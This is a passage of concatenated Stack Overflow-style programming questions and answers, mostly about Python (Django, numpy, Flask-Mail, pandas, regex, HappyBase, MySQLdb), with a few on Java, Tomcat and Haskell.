removed in Django 1.9. return f(*args, **kwds) Traceback (most recent call last): File "/opt/pycharm-3.4/helpers/pycharm/django_test_manage.py", line 127, in <module> utility.execute() File "/opt/pycharm-3.4/helpers/pycharm/django_test_manage.py", line 102, in execute PycharmTestCommand().run_from_argv(self.argv) File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/commands/test.py", line 30, in run_from_argv super(Command, self).run_from_argv(argv) File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/base.py", line 390, in run_from_argv self.execute(*args, **cmd_options) File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/commands/test.py", line 74, in execute super(Command, self).execute(*args, **options) File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/base.py", line 441, in execute output = self.handle(*args, **options) File "/opt/pycharm-3.4/helpers/pycharm/django_test_manage.py", line 89, in handle failures = TestRunner(test_labels, verbosity=verbosity, interactive=interactive, failfast=failfast) File "/opt/pycharm-3.4/helpers/pycharm/django_test_runner.py", line 228, in run_tests extra_tests=extra_tests, **options) File "/opt/pycharm-3.4/helpers/pycharm/django_test_runner.py", line 128, in run_tests return super(DjangoTeamcityTestRunner, self).run_tests(test_labels, extra_tests, **kwargs) AttributeError: 'super' object has no attribute 'run_tests' Do you guys have any idea how I can fix this? Answer: It looks like there are a couple of known issues in PyCharm v4.0+ which cause this error message when using Django v1.8: * <https://youtrack.jetbrains.com/issue/PY-14479> * <https://youtrack.jetbrains.com/issue/PY-14401> Issue 14401 is now marked as fixed in a couple of internal builds, but it's not clear which release version of PyCharm will get the fix.
Unsupported major.minor version 52.0, tomcat 7, java 7/8 problems Question: I know there are tons of these questions. I have been through a lot. I have been stuck on this issue for >24 hours. I am using: * Windows 8.1, 64bit * Eclipse as IDE * Tomcat 7 I want to do: Make a small website with 4 pages that loads data from an sql server and some other simple stuff. The java code works if I run it as plain java in Eclipse. The code also works if I run it in the JSP project with java 8 on localhost. However, I need to host it on a java 7 server. I cannot update the server. First I tried just uploading it anyway (by exporting to .war and uploading that), but that did not work. Then, I set all settings (preferences/java/compiler, preferences/java/installed JREs) to java 7 while using java 8. Projects are not overriding the default. Setting my localhost to java 7 settings makes the localhost JSP unable to work too (same error), but it still works in plain java on my computer. I have tried cleaning temporary/compiled files to force a recompilation (project/clean). I have done this every time between trying new things. I am importing the classes to the JSP server using: <%@ page import="jdbc.Publication"%> <%@ page import="jdbc.SQLPublicationMapper"%> and these are the names of my classes. The classes are in the `WEB- INF\classes` folder in the JSP folder. I copy them from the `jdbc\bin\jdbc` folder from the other project after compiling them. There are no compilation errors. There are no relevant warnings. They all concern HTML formatting stuff. I have tried to completely uninstall java 8 and only have java 7 installed (JRE and JDK), but still I get the same error. Yes, I have recompiled the files after this. I am running out of ideas to try. This makes no sense to me. I am not normally a java developer, I code in R/python/php/js, so please give answers I can understand. Any ideas? Answer: Turns out the solution was something more mundane. Apparently the server was not appropriately using the .class files I had given it. These were the files I was updating. Instead it was relying on an old .jar file containing the same classes. Thus, I thought it was using the class files, but it was instead using this old .jar file. This .jar file was exported from java 8. Exporting a new version of this file fixed the issue. TL;DR Make sure eventual .jar files are also updated, not just .class files.
Applying math.ceil to an array in python Question: What is the proper way to apply math.ceil to an entire array? See the following Python code: index = np.zeros(len(any_array)) index2 = [random.random() for x in xrange(len(any_array)) ##indexfinal=math.ceil(index2) <-? And I want to return the ceiling value of every element within the array. Documentation states that math.ceil returns the ceiling for any input x, but what is the best method of applying this ceiling function to every element contained within the array? Answer: Use the `numpy.ceil()` function instead. The Numpy package offers vectorized versions of most of the standard math functions. In [29]: import numpy as np In [30]: a = np.arange(2, 3, 0.1) In [31]: a Out[31]: array([ 2. , 2.1, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8, 2.9]) In [32]: np.ceil(a) Out[32]: array([ 2., 3., 3., 3., 3., 3., 3., 3., 3., 3.]) This technique should work on arbitrary `ndarray` objects: In [53]: a2 = np.indices((3,3)) * 0.9 In [54]: a2 Out[54]: array([[[ 0. , 0. , 0. ], [ 0.9, 0.9, 0.9], [ 1.8, 1.8, 1.8]], [[ 0. , 0.9, 1.8], [ 0. , 0.9, 1.8], [ 0. , 0.9, 1.8]]]) In [55]: np.ceil(a2) Out[55]: array([[[ 0., 0., 0.], [ 1., 1., 1.], [ 2., 2., 2.]], [[ 0., 1., 2.], [ 0., 1., 2.], [ 0., 1., 2.]]])
sys_platform is not defined x64 Windows Question: This has been bugging me for a little while. I recently upgraded to x64 Python, and I started getting this error (example pip install). C:\Users\<uname>\distribute-0.6.35>pip install python-qt Collecting python-qt Downloading python-qt-0.50.tar.gz Building wheels for collected packages: python-qt Running setup.py bdist_wheel for python-qt Complete output from command C:\Python27\python.exe -c "import setuptools;__file__='c:\\users\\<uname>\\appdata\\local\\t emp\\pip-build-vonat7\\python-qt\\setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" bd ist_wheel -d c:\users\<uname>\appdata\local\temp\tmpghy5gtpip-wheel-: Traceback (most recent call last): File "<string>", line 1, in <module> File "c:\users\<uname>\appdata\local\temp\pip-build-vonat7\python-qt\setup.py", line 11, in <module> packages=['Qt'], File "C:\Python27\lib\distutils\core.py", line 137, in setup ok = dist.parse_command_line() File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\setuptools\dist.py", line 232, in parse_command_line result = _Distribution.parse_command_line(self) File "C:\Python27\lib\distutils\dist.py", line 467, in parse_command_line args = self._parse_command_opts(parser, args) File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\setuptools\dist.py", line 558, in _parse_command_opts nargs = _Distribution._parse_command_opts(self, parser, args) File "C:\Python27\lib\distutils\dist.py", line 523, in _parse_command_opts cmd_class = self.get_command_class(command) File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\setuptools\dist.py", line 362, in get_command_class ep.require(installer=self.fetch_build_egg) File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2027, in require working_set.resolve(self.dist.requires(self.extras),env,installer)) File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2237, in requires dm = self._dep_map File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2466, in _dep_map self.__dep_map = self._compute_dependencies() File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2499, in _compute_dependencies common = frozenset(reqs_for_extra(None)) File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2496, in reqs_for_extra if req.marker_fn(override={'extra':extra}): File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\_markerlib\markers.py", line 109, in marker_fn return eval(compiled_marker, environment) File "<environment marker>", line 1, in <module> NameError: name 'sys_platform' is not defined ---------------------------------------- Failed building wheel for python-qt Failed to build python-qt Installing collected packages: python-qt Running setup.py install for python-qt Successfully installed python-qt-0.50 The package was installed fine, but I cannot build wheels. I tried re- installing distribute manually by downloading a zip and running `python setup.py install`. That installed wonderfuly, without a hitch. But I still have the above problem. How can I re-define sys_platform? Alright, I rolled back to x86 good ole 32 bit Python, and I still have the problem. This is really concerning, because I cannot reset this after re- installing. I looked at [markerlib](https://pypi.python.org/pypi/markerlib/0.4), which looks promising, but I don't know how to use it safely. Currently I am unable to install pretty much _anything_ from PyPI, so I am giving points to increase interest. Any help? I really want to be able to use PyPI again. **I chose the selected answer as it is the _most likely_ to solve the problem. I myself have moved back to x86 Python, so I cannot test this myself. Therefore, I encourage future visitors to try this answer, but I have not myself been able to test it.** Answer: 1. Might be a bug. Check out: <https://bugs.python.org/> 2. You can manually check the markers.py file and try to fix it. I think there would a reference to `sys_platform` that has to be changed to `sys.platform` 3. Regarding markerlib, you can try this out- import markerlib marker = markerlib.compile("sys.platform == 'win32'") marker(environment=markerlib.default_environment(), override={'sys.platform':'win32'})
No recipients have been added when trying to send message with Flask-Mail Question: I am trying to send email with Flask-Mail. I create the message with recipients, but I get `AssertionError: No recipients have been added` when I try to send it. In the following code, I print out the message recipients and they are correct. How do I fix this error? from flask import Flask from flask_mail import Message, Mail app = Flask(__name__) app.config.update( DEBUG=True, MAIL_SERVER='smtp.gmail.com', MAIL_PORT=465, MAIL_USE_SSL=True, MAIL_USERNAME='[email protected]', MAIL_PASSWORD='mypassword' ) mail = Mail(app) @app.route('/') def hello_world(): msg=Message('hey hey hey', sender='[email protected]', recipients=['[email protected]']) print(msg.sender, msg.recipients) # ('[email protected]', ['[email protected]']) print(msg.send_to) # set(['[email protected]']) mail.send_message(msg) return 'Hello World!' if __name__ == '__main__': app.run() Traceback (most recent call last): File "C:\Python27\lib\site-packages\flask\app.py", line 1836, in __call__ return self.wsgi_app(environ, start_response) File "C:\Python27\lib\site-packages\flask\app.py", line 1820, in wsgi_app response = self.make_response(self.handle_exception(e)) File "C:\Python27\lib\site-packages\flask\app.py", line 1403, in handle_exception reraise(exc_type, exc_value, tb) File "C:\Python27\lib\site-packages\flask\app.py", line 1817, in wsgi_app response = self.full_dispatch_request() File "C:\Python27\lib\site-packages\flask\app.py", line 1477, in full_dispatch_request rv = self.handle_user_exception(e) File "C:\Python27\lib\site-packages\flask\app.py", line 1381, in handle_user_exception reraise(exc_type, exc_value, tb) File "C:\Python27\lib\site-packages\flask\app.py", line 1475, in full_dispatch_request rv = self.dispatch_request() File "C:\Python27\lib\site-packages\flask\app.py", line 1461, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args) File "C:\Users\Julian\PycharmProjects\flask_mail_test\flask_mail_test.py", line 26, in hello_world mail.send_message(msg) File "C:\Python27\lib\site-packages\flask_mail.py", line 503, in send_message self.send(Message(*args, **kwargs)) File "C:\Python27\lib\site-packages\flask_mail.py", line 493, in send message.send(connection) File "C:\Python27\lib\site-packages\flask_mail.py", line 428, in send connection.send(self) File "C:\Python27\lib\site-packages\flask_mail.py", line 176, in send assert message.send_to, "No recipients have been added" AssertionError: No recipients have been added Answer: You're using the wrong function. `mail.send_message` is a shortcut to build and send a message, it takes the same args as `Message`. Use `mail.send(msg)` to send an existing `Message` instance.
Python change Accept-Language using requests Question: I'm new to python and trying to get some infos from IMDb using requests library. My code is capturing all data (e.g., movie titles) in my native language, but i would like to get them in english. How can i change the accept-language in requests to do that? Answer: All you need to do is define your own headers: import requests url = "http://www.imdb.com/title/tt0089218/" headers = {"Accept-Language": "en-US,en;q=0.5"} r = requests.get(url, headers=headers) You can add whatever other headers you'd like to modify as well.
Clickable Icon in Python GTK Question: Does anyone know how to create a custom button with custom icon in PyGTK? I would like to make a program in python GTK that works similar to a settings menu or control panel. I know PyGTK has stock buttons like cancel, exit, and ok; but I'm unable to change the labels or icons of those buttons. Answer: You can put a button on the screen, and put any image in it. #!/usr/bin/env python # -*- coding: utf-8 -*- # # test_icon.py # # Copyright 2015 John Coppens <[email protected]> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. # import pygtk import gtk IMAGE_FILE = "/put/an/imagename here" class MainWindow(gtk.Window): def __init__(self, debug = None): gtk.Window.__init__(self) self.connect("delete-event", self.on_delete_event) btn = gtk.Button() img = gtk.Image() img.set_from_file(IMAGE_FILE) btn.set_image(img) self.add(btn) self.show_all() def on_delete_event(self, win, data): gtk.main_quit() def run(self): gtk.mainloop() def main(): w = MainWindow() w.run() return 0 if __name__ == '__main__': main() The image can be of many formats, even SVG (vector graphics), PNG, etc.
regex conditional matching Question: I am trying to use `re.findall` to find this pattern: 01-234-5678 regex: (\b\d{2}(?P<separator>[-:\s]?)\d{2}(?P=separator)\d{3}(?P=separator)\d{3}(?:(?P=separator)\d{4})?,?\.?\b) however, some cases have shortened to 01-234-5 instead of 01-234-0005 when the last four digits are 3 zeros followed by a non-zero digit. Since there does't seem to be any uniformity in formatting I had to account for a few different separator characters or possibly none at all. Luckily, I have only noticed this shortening when some separator has been used... Is it possible to use a regex conditional to check if a separator does exist (not an empty string), then also check for the shortened variation? So, something like `if separator != '': re.findall(r'(\b\d{2}(?P<separator>[-:\s]?)\d{3}(?P=separator)(\d{4}|\d{1})\.?\b)', text)` Or is my only option to include all the possibly incorrect 6 digit patterns then check for a separator with python? Answer: If you want the last group of digits to be _"either one or four digits"_ , try: >>> import re >>> example = "This has one pattern that you're expecting, 01-234-5678, and another that maybe you aren't: 23:456:7" >>> pattern = re.compile(r'\b(\d{2}(?P<sep>[-:\s]?)\d{3}(?P=sep)\d(?:\d{3})?)\b') >>> pattern.findall(example) [('01-234-5678', '-'), ('23:456:7', ':')] The last part of the pattern, `\d(?:\d{3})?)`, means one digit, optionally followed by three more (i.e. one or four). Note that you don't need to include the optional full stop or comma, they're already covered by `\b`. * * * Given that you _don't_ want to capture the case where there is no separator and the last section is a single digit, you could deal with that case separately: r'\b(\d{9}|\d{2}(?P<sep>[-:\s])\d{3}(?P=sep)\d(?:\d{3})?)\b' # ^ exactly nine digits # ^ or # ^ sep not optional See [this demo](https://regex101.com/r/jF9nH1/1).
How could I make this code more "automated"? Question: I did this code yesterday trying to test how really random are the random numbers that Python generates: # -*- coding: cp1252 -*- import random print "Bienvenido al Analizador del Azar, este programa generará 100 números para aleatorios, para luego dar en tanto por ciento la cantidad de cada uno." numeros_aleatorios = [] contador = 0 while True: namber = random.randint(1,10) numeros_aleatorios.append(namber) contador += 1 if contador == 100: break PR1 = float(numeros_aleatorios.count(1)) / 100 PR2 = float(numeros_aleatorios.count(2))/ 100 PR3 = float(numeros_aleatorios.count(3)) / 100 PR4 = float(numeros_aleatorios.count(4)) / 100 PR5 = float(numeros_aleatorios.count(5)) / 100 PR6 = float(numeros_aleatorios.count(6)) / 100 PR7 = float(numeros_aleatorios.count(7)) / 100 PR8 = float(numeros_aleatorios.count(8)) / 100 PR9 = float(numeros_aleatorios.count(9)) / 100 PR10 = float(numeros_aleatorios.count(10)) / 100 print "Hay exactamente un", PR1, "% de 1s" print "Hay exactamente un", PR2, "% de 2s" print "Hay exactamente un", PR3, "% de 3s" print "Hay exactamente un", PR4, "% de 4s" print "Hay exactamente un", PR5, "% de 5s" print "Hay exactamente un", PR6, "% de 6s" print "Hay exactamente un", PR7, "% de 7s" print "Hay exactamente un", PR8, "% de 8s" print "Hay exactamente un", PR9, "% de 9s" print "Hay exactamente un", PR10, "% de 10s" As you can see, I had to put PR1, PR2, PR3... manually to make every %, and then write every print to display the results. My question is, is there any way to make this more automated, so I don't have to write every line indivually? It would be very useful for my next projects. Answer: A [collections.Counter](https://docs.python.org/2/library/collections.html#collections.Counter) will do all the counting for you, and use `range` to loop in the number of trials you want to run: from collections import Counter trial = 100 counts = Counter(random.randint(1,10) for _ in range(trials)) print(counts) Counter({3: 17, 7: 12, 8: 12, 9: 12, 4: 11, 6: 9, 2: 8, 10: 8, 5: 6, 1: 5}) for i in range(1,11): print("Hay exactamente un {}% de {}".format(100 * counts[i] / float(trials),i)) Output: Hay exactamente un 11.0% de 1 Hay exactamente un 6.0% de 2 Hay exactamente un 12.0% de 3 Hay exactamente un 12.0% de 4 Hay exactamente un 9.0% de 5 Hay exactamente un 4.0% de 6 Hay exactamente un 10.0% de 7 Hay exactamente un 14.0% de 8 Hay exactamente un 12.0% de 9 Hay exactamente un 10.0% de 10 No idea if _Hay exactamente un_ is in the correct order!
How to pass a variable between functions in Python Question: Sorry for the long code, but I felt that it was important that I include what I was trying to accomplish. I am a beginner with Python and programming in general and I was trying to make a simple text-based adventure game. The game was working good at first until I added the encounter with the bees. I ran the program and I chose to run from the bear, so my hp should be at 40, which was displayed. However, when I chose to swat the bees, my hp should then be at 0 because 40(my current hp)-40=0. My hp is however is displayed at 60, as if the bear encounter never happened. Is there some way I can fix this or is this a limitation in Python? from sys import exit from time import sleep import time #Hp at start of game: hp = 100 #The prompt for inputs prompt = "> " #Bear encounter def bear(hp): choice = raw_input("> ") if "stand" in choice: print "The bear walks off, and you continue on your way" elif "run" in choice: print "..." time.sleep(2) print "The bear chases you and your face gets mauled." print "You barely make it out alive, however you have sustained serious damage" hp = hp-60 currenthp(hp) elif "agressive" in choice: print "..." time.sleep(2) print "The bear sees you as a threat and attacks you." print "The bear nearly kills you and you are almost dead" hp = hp-90 currenthp(hp) else: print "Well do something!" bear(hp) #Bee encounter def bee(hp): choice = raw_input(prompt) if "run" in choice: print "..." sleep(2) print "The bee flies away and you continue on your way." currenthp(hp) elif "swat" in choice: print "..." sleep(1) print "You succesfully kill the bee. Good Job!" sleep(1) print "Wait a minute" sleep(2) print "The bee you killed gives off pheremones, now there are hundreds of bees chasing you." print "The bees do some serious damage." hp = hp-40 sleep(1) currenthp(hp) else: print "Well, do something." bee(hp) #Function to display the current hp of the current player def currenthp(hp): if hp < 100: print "Your hp is now at %d" % hp elif hp <= 0: dead() else: print "You are still healthy, good job!" #Called when player dies def dead(): print "You sustained too much damage, and as a result have died." time.sleep(3) print "GAME OVER!" print "Would you like to play again?" choice = raw_input("> ") if "y" in choice: start_game() else: exit(0) #Called to Start the Game, useful for restarting the program def start_game(): print "Welcome to Survival 101" #START OF GAME start_game() print "You start your regular trail." print "It will be just a little different this time though ;)" time.sleep(3) print "You are walking along when suddenly." time.sleep(1) print "..." time.sleep(2) #Start of first encounter print "Wild bear appears!." print "What do you do?" print "Stand your ground, Run away, be agressive in an attempt to scare the bear" #first encounter bear(hp) #Start of second encounter print "You continue walking and see a killer bee approaching you" print "What do you do" print "run away, swat the bee away" bee(hp) Answer: You pass `hp` to functions and inside a function you are update it, but you are not getting the updated value `hp` back from the function. You should specify `return(hp)` inside the function to return the updated value, and you can store (or update) the updated value in the function call - e.g., `hp = bear(hp)`.
Reading multiple data files with a loop on Python Question: Hi I have a over 200 data files with name similar names like abc.20.0000.catalog.out , abc.20.1000.catalog.out, abc.20.2000.catalog.out ...... abc.40.0000.catalog.out Each file contains data like this Group catalog for redshift 18.1000 1) group ID 2) group mass (Msun/h) 3- 5) initial position (Mpc/h) 6- 8) final position (Mpc/h) 9-11) velocity (km/s) 12) number of particles 250103187 0.227591E+08 1.86 1.03 2.51 1.65 1.06 2.53 -47.56 7.50 3.83 328 202456030 0.167918E+08 0.29 4.57 2.02 0.23 4.63 2.14 -13.27 10.67 3.68 242 89479147 0.763262E+06 1.47 4.80 0.89 1.34 4.83 0.99 -28.90 6.20 17.30 11 each such file contains over 10^6 lines. I want to do the following: 1\. I want to read the data from each file and erase the text on top. 2\. I want to then store the data from all these files into a single big list of matrices, each matrix being the data from each of these files. Answer: Here is a Python/Pandas solution: import pandas as pd import glob L = [] for f in glob.glob('abc*'): df = pd.read_csv(f,skiprows=1) L.append(df.values)
Want to make a list of words using python where the student received a 0 for the word in that column Question: Relatively new to python, and programming in general, but want to take a student assessment list and iterate through each row then print a list that includes the student name and each word (column name) that the student missed (recorded as 0). table looks something like this: Name - ID - again - all - always - away - best - every student1 - 13 - 1 - 0 - 0 - 1 - 0 - 0 student2 - 14 - 1 - 1 - 1 - 0 - 0 - 1 student3 - 15 - 0 - 0 - 0 - 1 - 1 - 1 Want to write something like this: for row in dataframe: if row == 0: print student name +':' + column name Output would be: student 1: all, always, best, every student 2: away, best student 3: again, always, away I've got several hundred students and would love to just have a list showing which words each student needs to practice. Any help is much appreciated. Thanks! Answer: Assuming your table is in a Pandas dataframe (you should be able to import it using `pd.read_csv` or `pd.read_csv`: import pandas as pd df = pd.DataFrame([['student1',13,1,0,0,1,0,0], ['student2',14,1,1,1,0,0,1], ['student3',15,0,0,0,1,1,1]], columns = ['Name','ID','again','all','always','away','best','every']) df['wordlist'] = df.apply(lambda row: ', '.join(df.columns[row == 1]),1) for line in df.Name + ': ' + df.wordlist: print (line) student1: again, away student2: again, all, always, every student3: away, best, every
How am I computing e^x incorrectly? Question: I am trying to estimate `e^x` using the power series for approximation in Haskell. import Data.Function -- Take two integers and divide them and return a float as a result. -- So 1/2 would be 0.5 fd :: Int -> Int -> Double fd = (/) `on` fromIntegral -- Helper function to compute factorial fact :: Int -> Int fact 1 = 1 fact n = n * fact (n-1) -- Calculate e^x using the power series for e^x (n is the number of -- of terms used to approximate e^x computeHelper :: Double -> Int -> Double -> Double computeHelper x 0 res = res + 1 computeHelper x n res = computeHelper x (n-1) (res + (x**n `fd` (fact n))) compute :: Double -> Int -> Double compute x n = computeHelper x n 0.0 Calling `compute 1 5` gives `6`. Which is incorrect. Both `fd` and `fact` appear to be working fine. Therefore, I'm guessing the issue is with `computeHelper`. However, following the same logic in Python: from math import factorial def compute(x, n, res=0): if n == 0: return res + 1 return compute(x, n-1, res + (x**n*1.0/(factorial(n)))) print compute(1, 5) I get `2.71666666667` which is as expected, so I am confused why the Haskell version doesn't work. Answer: Its an operator precedence issue. The `fd` has a higher precedence than the `**`. If you add extra parenthesis its clearer why you are getting a 6: (x**(n `fd` (fact n))) The way to fix this would be to put parenthesis around the exponentiation and then tweak things a bit so they typecheck: ((x^n) / (fromIntegral (fact n)))
HappyBase and Atomic Batch Inserts for HBase Question: With the HappyBase API for HBase in Python, a batch insert can be performed by the following: import happybase connection = happybase.Connection() table = connection.table('table-name') batch = table.batch() # put several rows to this batch via batch.put() batch.send() What would happen in the event this batch failed half way through? Would the rows that had been saved remain saved and those that didn't not be saved? I noted in the HappyBase github that the `table.batch()` method takes `transaction` and `wal` as parameters. Could these be configured in such a way as to rollback the successfully saved rows in the event the batch fails halfway through? Will happybase throw an exception here, which would permit me to take note of the row keys and perform a batch delete? Answer: I did not know about python or happybase. I understand that transaction is implemented in library as a fallback strategy. Since Hbase does not have any transaction support besides in-row mutations, a library can only simulate transaction by rolling back the operation it just did. I think this Batch class in code does this. The `transaction` argument specifies whether the returned :py:class:`Batch` instance should act in a transaction-like manner when used as context manager in a ``with`` block of code. The `transaction` flag cannot be used in combination with `batch_size`. The `wal` argument determines whether mutations should be written to the HBase Write Ahead Log (WAL). This flag can only be used with recent HBase versions. If specified, it provides a default for all the put and delete operations on this batch. <https://github.com/wbolster/happybase/blob/master/happybase/table.py> line 460-480 Also wal is a kind of performance parameter. It is faster if an operation is not written to WAL. From hbase doc ; > Turning this off means that the RegionServer will not write the Put to the > Write Ahead Log, only into the memstore, HOWEVER the consequence is that if > there is a RegionServer failure there will be data loss. <http://hbase.apache.org/0.94/book/perf.writing.html> section 11.7.5
RaspberryPi - MySQLdb Question: Hello Stackoverflow users, For my student project i need to use python and mysql, but when i try to use i've this kind of error > Traceback (most recent call last): File "myRFIDserv.py", line 2, in import > MySQLdb ImportError: No module named MySQLdb I 've try to fix this with the installation of python-mysqldb but they have also a error ... > Package python-mysqldb is not available, but is referred to by another > package. This may mean that the package is missing, has been obsoleted, or > is only available from another source E: Package 'python-mysqldb' has no > installation candidate MySQL-server are already install ! I've try sudo pip install MySQL-python but i have this kind of error Collecting MySQL-python Using cached MySQL-python-1.2.5.zip Complete output from command python setup.py egg_info: sh: 1: mysql_config: not found Traceback (most recent call last): File "<string>", line 20, in <module> File "/tmp/pip-build-lbb0Fd/MySQL-python/setup.py", line 17, in <module> metadata, options = get_config() File "setup_posix.py", line 43, in get_config libs = mysql_config("libs_r") File "setup_posix.py", line 25, in mysql_config raise EnvironmentError("%s not found" % (mysql_config.path,)) EnvironmentError: mysql_config not found ---------------------------------------- Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-lbb0Fd/MySQL-python I don't understand, someone can help me ? ;) Answer: maybe you can try pip install MySQL-python
Unable to create directory or file in WebHdfs Question: Hortonworks Sandbox file browser shows WebHdfsException, and in CLI I'm unable to create directory or file. What is wrong? WebHdfsException at /filebrowser/ <urlopen error [Errno 111] Connection refused> Request Method: GET Request URL: http://127.0.0.1:8000/filebrowser/ Django Version: 1.2.3 Exception Type: WebHdfsException Exception Value: <urlopen error [Errno 111] Connection refused> Exception Location: /usr/lib/hue/desktop/libs/hadoop/src/hadoop/fs/webhdfs.py in _stats, line 209 Python Executable: /usr/bin/python2.6 Python Version: 2.6.6 Python Path: ['', '/usr/lib/hue/build/env/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pip-0.6.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Babel-0.9.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/BabelDjango-0.2.2-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Django-1.2.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Mako-0.7.2-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Markdown-2.0.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/MarkupSafe-0.9.3-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/MySQL_python-1.2.3c1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Paste-1.7.2-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/PyYAML-3.09-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Pygments-1.3.1-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/South-0.7-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Spawning-0.9.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/avro-1.5.0-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/configobj-4.6.0-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/django_auth_ldap-1.0.7-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/django_extensions-0.5-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/django_nose-0.5-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/elementtree-1.2.6_20050316-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/enum-0.4.4-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/eventlet-0.9.14-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/greenlet-0.3.1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/happybase-0.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/kerberos-1.1.1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/lockfile-0.8-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/lxml-2.2.2-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/moxy-1.0.0-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pam-0.1.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pyOpenSSL-0.13-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pycrypto-2.6-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pysqlite-2.5.5-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/python_daemon-1.5.1-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/python_ldap-2.3.13-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pytidylib-0.2.1-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/sasl-0.1.1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/sh-1.08-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/simplejson-2.0.9-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/threadframe-0.2-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/thrift-0.9.0-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/urllib2_kerberos-0.1.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/xlrd-0.9.0-py2.6.egg', '/usr/lib/hue/desktop/core/src', '/usr/lib/hue/desktop/libs/hadoop/src', '/usr/lib/hue/desktop/libs/liboozie/src', '/usr/lib/hue/build/env/lib/python2.6/site-packages', '/usr/lib/hue/apps/about/src', '/usr/lib/hue/apps/beeswax/src', '/usr/lib/hue/apps/filebrowser/src', '/usr/lib/hue/apps/hcatalog/src', '/usr/lib/hue/apps/help/src', '/usr/lib/hue/apps/jobbrowser/src', '/usr/lib/hue/apps/jobsub/src', '/usr/lib/hue/apps/oozie/src', '/usr/lib/hue/apps/pig/src', '/usr/lib/hue/apps/proxy/src', '/usr/lib/hue/apps/shell/src', '/usr/lib/hue/apps/useradmin/src', '/usr/lib/hue/build/env/bin', '/usr/lib64/python2.6', '/usr/lib64/python2.6/plat-linux2', '/usr/lib64/python2.6/lib-dynload', '/usr/lib64/python2.6/site-packages', '/usr/lib/python2.6/site-packages', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/usr/lib/hue/apps/beeswax/gen-py', '/usr/lib/hue', '/usr/lib64/python26.zip', '/usr/lib64/python2.6/lib-tk', '/usr/lib64/python2.6/lib-old', 